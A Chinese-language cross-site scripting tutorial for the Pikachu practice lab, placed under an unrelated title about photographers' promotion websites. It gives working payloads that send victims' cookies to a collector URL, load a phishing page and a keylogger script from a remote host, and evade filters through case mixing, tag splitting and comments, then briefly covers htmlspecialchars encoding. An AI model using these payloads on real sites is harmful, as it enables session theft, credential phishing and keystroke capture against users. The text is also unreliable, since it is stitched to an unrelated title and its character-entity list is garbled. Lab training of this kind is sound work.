攝影師簽約有哪些網站線上宣傳渠道
XSS全稱(Cross Site Scripting)跨站腳本攻擊,XSS屬于客戶端攻擊,受害者最終是用戶,在網頁中嵌入客戶端惡意腳本代碼,最常用javascript語言。(注意:疊成樣式表CSS已經被占用所以叫XSS)
原因:輸入沒過濾,輸出沒編碼。
危害:劫持用戶cookie,釣魚,掛馬
分類:
1、反射性XSS(中危,一次性不保存在數(shù)據庫,交互的地方,比如帶參和輸入更新),
2、儲存型XSS(高危,長久保存在數(shù)據庫),
3、DOM XSS(低危,無數(shù)據庫交互,瀏覽器的dom節(jié)點),可能存在html文本框,URL文本框,樣式等
操作:
在萬能閉合‘“>后面插入語句<script>prompt(1)</script>
或者用彈窗語句‘“><script>alert(1)</script>,彈出一個對話框1,如果能彈窗說明這里是有漏洞的。
示例,name變量沒有進行過濾
cookie收集展示
?設置下點擊頁面的時候返回地址,這樣減少用戶的疑問,也可以把返回的網址換成登錄的網頁
111'"><script>document.location = 'http://網站IP和端口/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
配置好返回的界面后,輸入以下代碼,提交然后剛才提交的那個電腦的cookie就保存在到pkxss里面了。且用戶點擊的界面在提交代碼之后返回到之前配置的那個index.php上。
盲打獲取賬戶密碼
在不確定是否有注入點的地方輸入后,登錄后臺可以把登錄的賬戶和密碼拿到,在md5解密就可以獲得賬戶密碼
111'"><script>document.location = 'http://192.168.246.11/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
post方式
釣魚
'"><script src="http://192.168.246.11/pikachu/pkxss/xfish/fish.php"></script>
注意:再次點擊的時候沒有彈出,是因為已經保存這個電腦信息,需要瀏覽器清除下cookie
收集鍵盤信息
同源策略:瀏覽器都約定了“同源策略,禁止頁面加載或執(zhí)行與自身來源不同的域的任何腳本既不同域之間不能使用JS進行操作。比如:x.com域名下的js不能操作y.com域名下的對象
http:// www. ? oldboyedu.com ?:80 / ? news/index.php
協(xié)議 ? ?子域名 ? ?主域名 ? ? ? ? ? ? ? 端口 ? ?資源地址
必須要全部一樣才算同源
后臺設置好Access-Control-Allow-Origin,設置為*,既允許所有人訪問。
111'"><script src="http://192.168.246.11/pikachu/pkxss/rkeypress/rk.js"></script>,鍵盤記錄rk.js執(zhí)行,然后在頁面任何位置輸入就可以鍵盤輸入記錄
XSS繞過
前段繞過,大小寫,雙寫,注釋,編碼
1、對前端的限制可以嘗試進行抓包重發(fā)或者修改前端的HTML。比如修改輸入框字符。
2、防止后臺對輸入的內容進行正則匹配來過濾輸入,對于這樣的過濾可以考慮大小寫混合輸入的方法。比如:<sCRipT>alert('你吃飯像tuzi')</sCrIPt>,利用的是精準過濾,換成大小寫就繞過了。也可以用其他標簽比如框架iframe,類型style,標簽svg
3、防止后臺對輸入的內容進行替換,采用拼拼湊的輸入方法。比如:<sc<script>ript>alert(你吃飯像tuzi')</scr<script>ipt>
4、使用注釋來干擾后臺對輸入內容的識別。比如:<sc<!--test-->ript>alert('你吃飯像tuzi')</scr<!--tshauie-->ipt>
5:、編碼,保證輸出的情況下后臺代碼過濾
htmlspecialchars()函數(shù)把一些預定義的字符轉換為 HTML 實體。
可用的quotestyle類型:
ENT_COMPAT - 默認。僅編碼雙引號
ENT_QUOTES - 編碼雙引號和單引號
ENT_NOQUOTES - 不編碼任何引
預定義的字符是:
?& (和號)成為 &
?" (雙引號)成為 "
?’ (單引號)成為'
?< (小于)成為 <
?>(大于)成為 >
該函數(shù)的語法:htmlspecialchars(string,flags,character-set,double_encode)
href輸出:javascript:alert(1111)?